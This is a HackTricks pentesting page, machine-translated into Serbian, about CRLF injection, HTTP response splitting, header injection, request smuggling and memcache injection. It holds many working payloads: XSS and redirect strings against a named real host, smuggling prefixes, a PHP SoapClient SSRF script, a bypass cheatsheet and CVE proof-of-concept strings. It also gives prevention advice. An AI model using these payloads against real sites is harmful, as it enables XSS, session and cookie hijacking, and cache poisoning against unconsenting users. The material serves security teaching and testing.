CRLF (%0D%0A) Injection

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

CRLF

Carriage Return (CR) i Line Feed (LF), kolektivno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja linije ili početka nove. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.

CRLF Injection Vulnerability

CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da interpretira umetnutu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihovo zloupotrebljavanje može dovesti do deljenja HTTP odgovora i drugih zlonamernih aktivnosti.

Example: CRLF Injection in a Log File

Example from here

Razmotrite log fajl u admin panelu koji prati format: IP - Vreme - Poseteni Put. Tipičan unos može izgledati ovako:

123.123.123.123 - 08:15 - /index.php?page=home

Napadač može iskoristiti CRLF injekciju da manipuliše ovim logom. Umetanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabricirati log unose. Na primer, umetnuta sekvenca može transformisati log unos u:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ovde, %0d i %0a predstavljaju URL-enkodirane forme CR i LF. Nakon napada, log bi obmanjujuće prikazivao:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar server okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa %0d%0a kao jedan parametar, dok se parametar restrictedaction obrađuje kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Opis

HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskoristi strukturu HTTP odgovora. Ova struktura razdvaja zaglavlja od tela koristeći specifičnu sekvencu karaktera, Carriage Return (CR) praćenu Line Feed (LF), koja se zajedno naziva CRLF. Ako napadač uspe da umetne CRLF sekvencu u zaglavlje odgovora, može efikasno manipulisati sadržajem narednog odgovora. Ova vrsta manipulacije može dovesti do ozbiljnih sigurnosnih problema, posebno Cross-site Scripting (XSS).

XSS kroz HTTP Response Splitting

  1. Aplikacija postavlja prilagođeno zaglavlje ovako: X-Custom-Header: UserInput
  2. Aplikacija preuzima vrednost za UserInput iz parametra upita, recimo "user_input". U scenarijima koji nemaju odgovarajuću validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem.
  3. Napadač kreira URL sa posebno oblikovanim 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • U ovom URL-u, %0d%0a%0d%0a je URL-enkodirani oblik CRLFCRLF. To obmanjuje server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora.
  1. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukture odgovora gde zlonamerni skript se interpretira od strane pregledača kao deo tela odgovora.

Primer HTTP Response Splitting koji dovodi do preusmeravanja

Sa https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Pregledač na:

/%0d%0aLocation:%20http://myweb.com

I server odgovaraju sa zaglavljem:

Location: http://myweb.com

Drugi primer: (iz https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

U URL Putanji

Možete poslati payload unutar URL putanje da kontrolišete odgovor sa servera (primer iz ovde):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

HTTP Header Injection, često iskorišćen kroz CRLF (Carriage Return and Line Feed) injekciju, omogućava napadačima da umetnu HTTP zaglavlja. Ovo može oslabiti bezbednosne mehanizme kao što su XSS (Cross-Site Scripting) filteri ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, kao što su CSRF tokeni, ili manipulacije korisničkim sesijama kroz postavljanje kolačića.

Exploiting CORS via HTTP Header Injection

Napadač može umetnuti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja koja postavlja SOP. Ova povreda omogućava skriptama iz zlonamernih izvora da komuniciraju sa resursima iz drugog izvora, potencijalno pristupajući zaštićenim podacima.

SSRF and HTTP Request Injection via CRLF

CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj SoapClient klasi, posebno unutar user_agent parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak potpuno injektovati novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovu eksploataciju:

php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Za više informacija o ovoj tehnici i potencijalnim problemima proverite izvor.

Možete injektovati bitne header-e kako biste osigurali da back-end zadrži vezu otvorenom nakon odgovora na inicijalni zahtev:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Nakon toga, može se odrediti drugi zahtev. Ovaj scenario obično uključuje HTTP request smuggling, tehniku gde dodatni zaglavlja ili elementi tela koje server dodaje nakon injekcije mogu dovesti do raznih sigurnosnih eksploatacija.

Eksploatacija:

  1. Injekcija zlonamernog prefiksa: Ova metoda uključuje trovanje zahteva sledećeg korisnika ili web keša specificiranjem zlonamernog prefiksa. Primer ovoga je:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Kreiranje prefiksa za trovanje reda odgovora: Ovaj pristup uključuje kreiranje prefiksa koji, kada se kombinuje sa dodatnim smećem, formira kompletan drugi zahtev. Ovo može izazvati trovanje reda odgovora. Primer je:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injekcija

Memcache je key-value store koji koristi protokol u čistom tekstu. Više informacija u:

11211 - Pentesting Memcache

Za pune informacije pročitajte originalni tekst

Ako platforma uzima podatke iz HTTP zahteva i koristi ih bez sanitizacije za obavljanje zahteva ka memcache serveru, napadač bi mogao da zloupotrebi ovo ponašanje da ubaci nove memcache komande.

Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi se korisnik trebao povezati, a napadači su mogli da ubace memcache komande koje bi otrovale keš da pošalje detalje žrtava (korisnička imena i lozinke uključena) na servere napadača:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Štaviše, istraživači su takođe otkrili da mogu da desinkronizuju memcache odgovore kako bi poslali IP i portove napadača korisnicima čiji email napadač nije znao:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Kako sprečiti CRLF / HTTP zaglavlja injekcije u web aplikacijama

Da bi se smanjili rizici od CRLF (Carriage Return i Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:

  1. Izbegavajte direktan unos korisnika u zaglavljima odgovora: Najsigurniji pristup je da se ne uključuje unos koji je obezbedio korisnik direktno u zaglavlja odgovora.
  2. Kodirajte specijalne karaktere: Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
  3. Ažurirajte programski jezik: Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Nedavne ranjivosti (2023 – 2025)

Poslednjih nekoliko godina proizvelo je nekoliko ranjivosti sa visokim uticajem CRLF/HTTP header-injection u široko korišćenim komponentama na serveru i klijentu. Reprodukcija i proučavanje ovih ranjivosti lokalno je odličan način za razumevanje obrazaca eksploatacije u stvarnom svetu.

GodinaKomponentaCVE / SavetOsnovni uzrokIstaknuti PoC
2024RestSharp (≥110.0.0 <110.2.0)CVE-2024-45302AddHeader() pomoćna funkcija nije sanitizovala CR/LF, omogućavajući konstrukciju više zaglavlja zahteva kada se RestSharp koristi kao HTTP klijent unutar back-end usluga. Sistemi nizvodno mogli su biti primorani na SSRF ili request smuggling.client.AddHeader("X-Foo","bar%0d%0aHost:evil")
2024Refit (≤ 7.2.101)CVE-2024-51501Atributi zaglavlja na metodama interfejsa su kopirani doslovno u zahtev. Umetanjem %0d%0a, napadači su mogli dodati proizvoljna zaglavlja ili čak drugi zahtev kada je Refit korišćen od strane server-side worker poslova.[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]
2023Apache APISIX DashboardGHSA-4h3j-f5x9-r6x3Korisnički prosleđeni redirect parametar je bio odražen u Location: zaglavlju bez kodiranja, omogućavajući otvoreno preusmeravanje + trovanje kešom./login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>

Ove greške su važne jer se aktiviraju unutar koda na aplikacionom nivou i ne samo na ivici web servera. Svaka interna komponenta koja vrši HTTP zahteve ili postavlja zaglavlja odgovora mora stoga primeniti filtriranje CR/LF.

Napredni Unicode / Bypass kontrolnih karaktera

Moderne WAF/rewriter platforme često uklanjaju doslovne \r/\n ali zaboravljaju na druge karaktere koje mnogi back-end sistemi tretiraju kao terminatore linija. Kada se CRLF filtrira, pokušajte:

  • %E2%80%A8 (U+2028 – SEPARATOR LINIJAE)
  • %E2%80%A9 (U+2029 – SEPARATOR PARAGRAFA)
  • %C2%85 (U+0085 – NAREDNA LINIJAE)

Neki Java, Python i Go okviri konvertuju ove karaktere u \n tokom parsiranja zaglavlja (videti istraživanje Praetorian iz 2023). Kombinujte ih sa klasičnim payload-ima:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Ako filter prvo normalizuje UTF-8, kontrolni karakter se pretvara u običan novi red, a injektovana glava se prihvata.

WAF Evasion via Duplicate Content-Encoding Trick (2023)

Praetorian istraživači su takođe pokazali da injektovanjem:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

u reflektovanom headeru, pregledači će ignorisati telo koje je dostavio server i prikazati HTML koji je dostavio napadač, što dovodi do pohranjene XSS čak i kada je sadržaj aplikacije inertan. Pošto Content-Encoding: identity dozvoljava RFC 9110, mnogi reverzni proksi ga prosleđuju nepromenjenog.

Automatski alati

  • CRLFsuite – brzi aktivni skener napisan u Go.
  • crlfuzz – fuzzer zasnovan na rečniku koji podržava Unicode newline payloads.
  • crlfix – 2024. godina alat koji ispravlja HTTP zahteve generisane Go programima i može se koristiti samostalno za testiranje internih usluga.

Lista za detekciju brute-force

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks